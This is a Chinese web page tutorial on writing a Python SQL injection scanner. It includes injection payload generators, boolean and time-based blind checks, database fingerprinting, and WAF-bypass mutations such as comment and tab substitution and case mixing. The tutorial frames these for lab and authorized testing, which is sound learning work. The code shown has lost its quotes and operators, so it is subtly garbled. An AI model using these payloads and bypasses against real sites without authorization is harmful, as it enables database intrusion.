新闻详情

新闻详情

首页 / 资讯中心 / 详情

Python自动化SQL注入检测工具实战:从脚本搭建到盲注与绕过

发布时间:2026/10/1 13:13:27来源:尧图网络
Python自动化SQL注入检测工具实战:从脚本搭建到盲注与绕过
简介这是一套基于Python实现的自动化SQL注入检测工具源码与配套文档面向计算机、通信、人工智能、自动化等相关专业的学生、教师及安全方向从业者可用于毕业设计、课程大作业、期末课程设计也适合作为Web安全入门与进阶的学习范例。资源包共12个文件以7个py脚本为核心辅以txt站点列表、sh执行脚本、md说明文档、rules规则文件及pyc编译文件整体约35KB结构紧凑、便于阅读与二次开发。工具围绕布尔注入、时间盲注等检测逻辑展开并包含参数提取、站点获取、结果展示与邮件通知等模块代码经过调试测试可正常运行。已有68人学习关注具备一定参考热度。读者可借此理解SQL注入检测的完整实现思路掌握规则配置、请求构造与结果判定方法并在此基础上修改调整扩展出符合自身需求的检测功能。1. 从一份能跑起来的 Python SQL 注入检测脚本说起很多人第一次接触 SQL 注入是在 DVWA 或者 sqli-labs 这类靶场里手敲 or 11 --看着页面回显全部用户信息觉得不过如此。可真到了自己写工具、或者面对一个参数多到记不住的业务系统时手工测就完全不够用了。基于 Python 的自动化 SQL 注入检测工具本质上就是把「构造 payload → 发请求 → 判断回显差异 → 判定是否存在注入」这条链路用代码固化下来再配上并发、日志和报告让它能批量跑、能复现、能交给别人看。它适合两类人一类是刚学完 Python 基础、想找一个真实安全场景练手的入门者另一类是做渗透测试或代码审计、需要一个轻量可改的检测脚本、而不是直接上 sqlmap 这种重型工具的从业者。这篇文章不讲空泛概念而是从目录结构、核心检测逻辑、参数配置到踩坑排查把一套能落地的方案讲清楚你照着改就能跑在自己的靶场或授权环境里。2. 工具骨架怎么搭目录、依赖与请求层2.1 先定目录结构别一上来就写检测逻辑我见过太多人写这类工具第一版就是一个sql_scan.py从头写到尾两百行之后自己都找不到 payload 列表在哪。正确的做法是先按职责拆目录哪怕最后只有五个文件结构也要清晰。常见做法是分成core检测引擎、payloadspayload 与绕过规则、utils请求、日志、编码、config配置、report结果输出五块。这样后面加数据库指纹识别、加延时盲注都只是往对应目录里塞文件不会把主流程改乱。sqlscan/ ├── main.py # 入口解析参数、调度扫描 ├── config/ │ └── settings.py # 超时、线程数、UA、代理开关等 ├── core/ │ ├── detector.py # 核心检测逻辑 │ └── fingerprint.py # 数据库类型识别 ├── payloads/ │ └── basic.py # 基础 payload 与编码变体 ├── utils/ │ ├── requester.py # 统一请求封装 │ └── logger.py # 日志 └── report/ └── exporter.py # 输出 txt / json这个结构的好处是requester.py是唯一发请求的地方以后要加重试、加随机 UA、加请求间隔只改一个文件。payloads/basic.py只放数据不放逻辑方便你按靶场类型替换。新手最容易犯的错是把 payload 和判断逻辑混在一起结果想加一条新 payload 要翻半天代码。2.2 请求层封装三个必须暴露的参数请求层不要直接用requests.get要包一层。核心是把超时、重试、异常吞掉这三件事处理好否则扫描到一半遇到一个超时链接整个脚本就崩了。import requests import time from requests.exceptions import RequestException class Requester: def __init__(self, timeout8, retry2, delay0.0, headersNone): self.timeout timeout # 单次请求超时盲注场景要调大 self.retry retry # 失败重试次数避免网络抖动误判 self.delay delay # 每次请求间隔规避频率限制 self.headers headers or {User-Agent: Mozilla/5.0} def send(self, url, methodGET, paramsNone, dataNone): for i in range(self.retry 1): try: if self.delay: time.sleep(self.delay) resp requests.request( method, url, paramsparams, datadata, headersself.headers, timeoutself.timeout, allow_redirectsFalse # 重定向会干扰回显判断 ) return resp except RequestException as e: if i self.retry: return None # 返回 None 而不是抛异常 time.sleep(0.5)逻辑说明allow_redirectsFalse很关键很多注入点触发后会 302 跳转如果自动跟随你拿到的就是跳转后的页面回显差异判断会失效。timeout默认 8 秒做时间盲注时要单独调大到 15 秒以上否则正常响应也会被当成超时。retry设 2 次是为了区分「网络抖动」和「payload 导致服务端异常」如果重试后仍失败才判定为异常响应。参数上delay默认 0但在真实授权测试里建议设 0.2 到 0.5 秒避免把目标打挂这也是很多新手翻车的地方。2.3 依赖清单与 Python 环境依赖只有requests报告输出用标准库json就够不要引入一堆用不上的包。Python 版本建议 3.8 以上3.6 虽然也能跑但 f-string 和类型提示的体验差很多。安装命令就一行pip install requests如果你用的是 vscode 配置 Python 环境记得在.vscode/settings.json里指定解释器路径否则终端里pip install和编辑器里跑的不是同一个环境会出现「明明装了却 import 失败」这种玄学问题。Linux 系统安装 Python 时优先用系统包管理器装python3和python3-pip不要手动编译省得后面缺ssl模块。3. 检测引擎从回显比对到布尔盲注3.1 基础回显检测先建立「正常基线」检测的第一步不是发 payload而是先发一次原始请求把正常响应的长度、状态码、关键内容存下来作为基线。没有基线后面所有差异判断都是拍脑袋。class Detector: def __init__(self, requester): self.req requester self.baseline None def build_baseline(self, url, methodGET, paramsNone, dataNone): resp self.req.send(url, method, params, data) if resp is None: return False self.baseline { status: resp.status_code, length: len(resp.text), text: resp.text } return True def is_injected(self, resp): if resp is None: return False # 状态码变化 长度差异超过阈值才算可疑 len_diff abs(len(resp.text) - self.baseline[length]) if resp.status_code ! self.baseline[status]: return True if len_diff max(50, self.baseline[length] * 0.1): return True return False逻辑说明build_baseline必须在扫描前调用一次且要用和后续 payload 完全相同的请求方式。is_injected里长度阈值取max(50, 基线的 10%)是因为有些页面本身有随机内容比如时间戳、随机广告位固定阈值会误报。参数上如果你测的是 POST 表单data要和正常提交一致只替换待测参数的值。这里有个血泪经验基线请求一定要关掉缓存有些站点返回304或带ETag第二次请求内容为空长度直接对不上会误判成注入。3.2 payload 构造与编码变体payload 不要只写一条 or 11 --要按「闭合方式 注释符 逻辑恒真」组合。常见闭合有单引号、双引号、括号注释符有--、#、/**/。把这些组合成列表逐条试。# payloads/basic.py CLOSURES [, , ), )] COMMENTS [-- , #, /**/] LOGIC [or 11, or aa, or 11-- -] def build_payloads(): payloads [] for c in CLOSURES: for cm in COMMENTS: for lg in LOGIC: payloads.append(f{c}{lg}{cm}) return payloads逻辑说明三层循环生成的是「闭合 逻辑 注释」的笛卡尔积数量在 36 条左右对单个参数来说足够覆盖基础场景。参数上LOGIC里or 11-- -这种写法是为了应对注释符后面必须有空格的情况-- -里的短横线是 MySQL 要求的。注意不要无脑堆几百条 payload请求量太大会触发 WAF 或者把目标拖慢基础检测 30 到 50 条足够。如果你在 sqli-labs 或 pikachu 靶场练手这套组合能打通大部分关卡但遇到sql注入绕过场景比如过滤了空格和注释就要在编码变体里加%09、%0a这类替代字符这部分放到后面进阶章讲。3.3 布尔盲注与时间盲注的判定差异回显检测搞完接下来是盲注。布尔盲注靠「真/假条件返回页面不同」判断时间盲注靠「响应时间差异」判断。两者判定逻辑完全不同不能混用。import time def boolean_check(self, url, param, payload_true, payload_false): r_true self.req.send(url, params{param: payload_true}) r_false self.req.send(url, params{param: payload_false}) if r_true is None or r_false is None: return False # 真假页面长度差异明显才判定存在布尔盲注 return abs(len(r_true.text) - len(r_false.text)) 30 def time_check(self, url, param, payload, sleep3): start time.time() self.req.send(url, params{param: payload}) cost time.time() - start # 响应时间超过 sleep 的 80%判定为时间盲注 return cost sleep * 0.8逻辑说明布尔盲注的关键是「真条件和假条件必须成对出现」只发一条恒真 payload 是判断不出来的。时间盲注的阈值取sleep * 0.8是因为网络本身有延迟如果设成严格大于sleep稍微慢一点就漏判。参数上sleep默认 3 秒真实环境建议 5 秒但要注意目标如果本身响应就慢基线时间要先测一次用「基线 sleep」作为阈值更准。这里踩过的坑是有些数据库对sleep()函数有限制MySQL 用sleep()SQL Server 用waitfor delayPostgreSQL 用pg_sleep()payload 要按数据库类型区分不能一套打天下。4. 参数配置与批量扫描让工具真正能用4.1 配置文件该放哪些参数把参数写死在代码里是这类工具没法复用的最大原因。配置文件至少要有目标 URL、请求方法、待测参数名、超时、线程数、请求间隔、是否开启盲注、报告输出路径。# config/settings.py CONFIG { url: http://target/vuln.php, method: GET, params: [id, name], # 待测参数列表 timeout: 8, threads: 5, # 并发线程数别超过 10 delay: 0.3, # 请求间隔防封 enable_boolean: True, enable_time: False, # 时间盲注慢默认关 report_path: ./result.json }逻辑说明params是列表支持一次测多个参数工具内部对每个参数独立跑一遍 payload。threads默认 5是因为并发太高容易触发目标限流而且盲注场景下并发会互相干扰时间判断。enable_time默认关因为时间盲注每条 payload 要等好几秒一个参数跑下来可能几分钟只在确认有布尔盲注但回显不明显时才开。参数上delay在授权测试里建议不低于 0.2 秒这是对目标最基本的尊重也是避免自己被封 IP 的后悔药。4.2 批量扫描多个 URL 的调度方式单 URL 跑通后批量扫描就是把 URL 列表读进来循环调用检测流程。但要注意批量场景下日志和结果必须能区分是哪个 URL 出的问题。import json from concurrent.futures import ThreadPoolExecutor def scan_one(target): detector Detector(Requester(timeoutCONFIG[timeout], delayCONFIG[delay])) if not detector.build_baseline(target[url], target[method], target.get(params)): return {url: target[url], status: baseline_failed} findings [] for param in target[params]: for payload in build_payloads(): resp detector.req.send(target[url], params{param: payload}) if detector.is_injected(resp): findings.append({param: param, payload: payload}) break # 一个参数命中就跳过剩余 payload return {url: target[url], findings: findings} def batch_scan(targets): results [] with ThreadPoolExecutor(max_workersCONFIG[threads]) as pool: for r in pool.map(scan_one, targets): results.append(r) with open(CONFIG[report_path], w, encodingutf-8) as f: json.dump(results, f, ensure_asciiFalse, indent2) return results逻辑说明scan_one里一个参数命中就break是为了减少无效请求但代价是可能漏掉同一参数的其他注入类型如果你要完整报告可以把break去掉改成记录所有命中 payload。batch_scan用线程池而不是进程池因为瓶颈在网络 IO 不在 CPU。参数上max_workers直接取配置里的threads不要动态调整否则并发数不可控。结果写 JSON 时用ensure_asciiFalse否则中文参数名会变成转义字符报告没法看。4.3 报告输出给谁看决定写什么报告不是给自己看的是给一起做项目的人或者留档用的。最小可用报告要有目标 URL、检测时间、命中参数、命中 payload、请求方法、判定依据长度差异还是时间差异。from datetime import datetime def export_report(results, path): report { scan_time: datetime.now().strftime(%Y-%m-%d %H:%M:%S), total: len(results), vulnerable: [r for r in results if r.get(findings)], details: results } with open(path, w, encodingutf-8) as f: json.dump(report, f, ensure_asciiFalse, indent2)逻辑说明vulnerable字段单独抽出来是为了让人一眼看到哪些目标有问题不用翻整个details。参数上时间格式用%Y-%m-%d %H:%M:%S别用时间戳否则报告给人看还要转换。如果你的项目需求说明文档模板要求附检测记录这份 JSON 可以直接转成表格贴进去。5. 避坑与排查那些让脚本「看起来能跑其实没用」的问题5.1 基线请求带了 Cookiepayload 请求没带现象基线正常一发包就返回登录页长度差异巨大误判成注入。 原因请求层没有统一携带 Cookie 或 Session基线用了浏览器抓的包脚本里没同步。 解决在Requester初始化时传入headers把Cookie一并带上或者用requests.Session()保持会话登录后的目标必须先登录再扫描。5.2 长度阈值设太死随机页面疯狂误报现象每个参数都报注入报告里一堆命中人工一看全是误报。 原因页面本身有随机内容时间、广告、CSRF token长度每次都不一样固定阈值判断失效。 解决基线请求发三次取长度的平均值和波动范围阈值改成「基线波动范围 固定余量」或者改用「关键内容是否出现/消失」判断而不是纯长度。5.3 时间盲注被网络延迟带偏现象明明没有时间盲注脚本却报存在或者明明有却报不存在。 原因网络抖动导致响应时间不稳定单次测量不可靠。 解决时间盲注每条 payload 测三次取中位数并且先测一次基线响应时间用「基线 sleep」作为阈值同时把timeout调大到sleep 5秒避免请求被提前掐断。5.4 并发扫描把目标打挂或触发封禁现象扫到一半全部请求失败或者 IP 被临时封。 原因线程数太高、没有请求间隔触发了目标限流或 WAF。 解决threads降到 3 到 5delay设 0.3 秒以上如果目标有 WAF还要加随机 UA 和随机请求头但注意这属于绕过范畴只在授权环境里做。5.5 payload 编码没处理特殊字符被截断现象payload 里带#或空格发出去后服务端收到的参数不完整。 原因URL 编码没做#被当成锚点空格被截断。 解决用requests的params传参它会自动编码如果手动拼 URL必须用urllib.parse.quote处理。注意--后面的空格在 URL 里要编码成%20或否则注释符失效。6. 进阶技巧把检测从「能跑」推到「测得准」基础版跑通后真正拉开差距的是两件事数据库指纹识别和绕过规则。指纹识别决定了你用哪套 payload绕过规则决定了你能不能打到有过滤的目标。指纹识别最简单的做法是利用报错信息比如 MySQL 报You have an error in your SQL syntaxSQL Server 报Unclosed quotation markPostgreSQL 报unterminated quoted string。发一条带单引号的 payload抓报错关键字就能判断。FINGERPRINTS { mysql: [you have an error in your sql syntax, mysql_fetch], mssql: [unclosed quotation mark, microsoft ole db], postgresql: [unterminated quoted string, pg_query], oracle: [ora-01756, quoted string not properly terminated] } def detect_db(resp_text): low resp_text.lower() for db, keys in FINGERPRINTS.items(): if any(k in low for k in keys): return db return unknown逻辑说明报错关键字用小写匹配避免大小写差异漏判。参数上FINGERPRINTS可以按你实际遇到的报错补充但不要加太泛的词比如只写error否则会误判。识别出数据库后时间盲注的 payload 就能自动切换成对应函数布尔盲注的真假条件也能按数据库语法调整。绕过规则这块核心是处理空格、注释、关键字过滤。空格可以用/**/、%09、%0a替代关键字过滤可以用大小写混写SeLeCt、内联注释/*!select*/、双写selselectect。这些规则不要全量堆进 payload 列表而是做成一个「变形函数」对基础 payload 逐条变形命中一条就停。def mutate(payload): variants [payload] variants.append(payload.replace( , /**/)) variants.append(payload.replace( , %09)) variants.append(.join(c.upper() if i % 2 else c.lower() for i, c in enumerate(payload))) return variants逻辑说明mutate返回的是同一条 payload 的多个变体扫描时对每个变体都试一次。参数上大小写混写只对关键字有效对引号和数字没影响所以不会破坏 payload 结构。注意变形后 payload 数量会翻几倍请求量要控制建议只在基础 payload 全部失败后才启用变形而不是一开始就全量跑。最后说一个我自己的习惯每次改完检测逻辑先拿 DVWA 的 low 级别跑一遍确认能命中再切到 medium 级别确认绕过规则生效最后拿一个正常业务页面跑一遍确认不误报。这三步跑完工具才算「确保可用」而不是「在我机器上能跑」。这套方案值不值得做取决于你是不是需要一个能改、能看懂、能嵌进自己流程的检测脚本——如果只是临时测一个点sqlmap 更快但如果你要理解注入检测的每一步或者要把检测能力集成到自己的审计流程里自己写一遍是最扎实的路。希望帮到你。本文还有配套的精品资源点击获取
网站建设高端定制企业官网
RELATED

相关资讯

更多精彩内容,欢迎继续阅读

较早相关资讯

最新相关资讯

SSM+Vue医院出诊挂号就诊检查管理系统实战解析与踩坑记录 2026/10/1 13:54:42

SSM+Vue医院出诊挂号就诊检查管理系统实战解析与踩坑记录

这套SSMVue的医院出诊挂号就诊检查管理系统,算是我这两年做过的业务链路最完整的单体项目之一。后端就是经典的Spring SpringMVC MyBatis,前端Vue全家桶,覆盖了出诊排班、患者挂号、医生接诊、检查开单与报告回传这条完整业务线。如果你正在…

阅读更多 →
Harness:AI Agent落地生产的7大工程子系统 2026/10/1 13:54:42

Harness:AI Agent落地生产的7大工程子系统

1. “Harness”不是黑魔法,而是AI Agent真正下地干活的工程底盘很多人第一次看到“Harness”这个词,是在DeepSeek官方文档里,或者某篇技术分享中轻描淡写的一句:“我们用Harness封装了Agent逻辑”。接着就跳到代码片段、插件配置、…

阅读更多 →
Jev:面向Java工程师的结构化决策引擎 2026/10/1 13:54:42

Jev:面向Java工程师的结构化决策引擎

1. Jev 不是“另一个大模型”,它是 Java 工程师能亲手拧紧的决策螺丝我第一次在斯坦福某次内部技术分享会上听到 Jev 这个名字时,台下坐了二十多个 Java 后端工程师,没人举手问“它能写诗吗”或者“支持多少 token 上下文”。有人直接掏出笔记…

阅读更多 →
xterm终端模拟器完全指南:轻量、稳定与Xresources定制 2026/10/1 13:54:35

xterm终端模拟器完全指南:轻量、稳定与Xresources定制

在桌面终端满天飞的年代,GNOME Terminal、Konsole、Alacritty个个都有漂亮的界面、花哨的配色和GPU加速,但我在服务器上排查问题或者远程连到嵌入式板子调试的时候,用得最顺手的还是那个看起来最“简陋”的xterm。它从X Window System时代一路…

阅读更多 →
WorkBuddy AI工作台完全指南:安装、Skill技能与全局规则配置 2026/10/1 13:54:35

WorkBuddy AI工作台完全指南:安装、Skill技能与全局规则配置

1. WorkBuddy 是什么:先搞清楚它和普通 AI 工具的区别最近后台收到不少留言,问得最多的一句话是:"WorkBuddy 和 CodeBuddy 到底是不是同一个东西?" 这个问题其实挺有代表性。很多人看到腾讯出了个新工具叫 WorkBuddy&am…

阅读更多 →
Hugging Face模型上传与接入文档编写实战指南 2026/10/1 13:54:35

Hugging Face模型上传与接入文档编写实战指南

很多朋友训练完一个模型以后,第一反应就是:怎么把它分享出去,让别人也能用?我之前在一个技术群里看到有人问“我把自己训练的模型传到HF上,接入文档该怎么写”,当时群里给了不少零散答案,但真自…

阅读更多 →

今日资讯

本周资讯

本月资讯

看完文章仍有疑问?

联系尧图顾问,获取一对一建站咨询

立即免费咨询 📞 400-888-8888
📞 ✉